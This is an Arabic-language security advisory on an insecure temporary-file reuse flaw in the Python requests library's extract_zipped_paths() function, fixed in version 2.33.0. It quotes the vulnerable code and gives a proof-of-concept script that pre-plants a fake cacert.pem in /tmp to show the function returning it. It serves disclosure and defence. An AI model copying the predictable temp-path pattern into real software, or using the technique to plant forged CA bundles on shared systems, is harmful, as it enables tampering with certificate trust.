
إعادة استخدام ملف مؤقت غير آمن في extract_zipped_paths()
تم تحديد ثغرة أمنية في مكتبة requests (Python) ضمن الدالة المساعدة العامة requests.utils.extract_zipped_paths(). تستخدم الدالة اسم ملف قابل للتنبؤ وغير فريد عند محاولة استخراج الملفات إلى الدليل المؤقت للنظام (/tmp) وتفشل في التحقق من سلامة أو ملكية الملفات الموجودة مسبقًا.
بينما يتم تخفيف السلوك الافتراضي لـ requests مع certifi بواسطة importlib.resources، تظل هذه الأداة المساعدة ثغرة أمنية خطيرة للتطبيقات التابعة أو التنفيذات المخصصة التي تعتمد عليها للتعامل مع الموارد المضغوطة.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:Nتم تصميم الدالة requests.utils.extract_zipped_paths() لاستخراج الأعضاء من أرشيف zip (غالبًا ما يُستخدم لحزم CA في بيئات zipapp). يتبع المنطق المعرّض للثغرة الخطوات التالية:
basename لعضو zip (على سبيل المثال، /tmp/cacert.pem).if not os.path.exists(extracted_path) لتحديد ما إذا كان يجب استخراج الملف.في requests/utils.py، يتم تنفيذ المنطق على النحو التالي:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
يمكن لمهاجم محلي ذي امتيازات منخفضة استغلال ذلك عبر إنشاء ملف ضار مسبقًا (على سبيل المثال، حزمة CA مزيفة) في المسار القابل للتنبؤ في /tmp. عندما يقوم الضحية (يتطلب تفاعل المستخدم) بتشغيل تطبيق يستدعي هذه الأداة المساعدة:
يوضح البرنامج النصي التالي الثغرة الأمنية من خلال إظهار كيف تعيد الأداة المساعدة استخدام ملف "مزيف" موجود مسبقًا بدلاً من الملف الشرعي من الأرشيف.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
تمت معالجة المشكلة في الإصدار 2.33.0. يتضمن الإصلاح الانتقال إلى importlib.resources للتعامل مع الموارد المضغوطة بشكل أكثر أمانًا، مما يضمن حدوث عمليات الاستخراج في أدلة عشوائية غير قابلة للتنبؤ وتجنب إعادة استخدام الملفات الموجودة في الأدلة المشتركة القابلة للكتابة للجميع.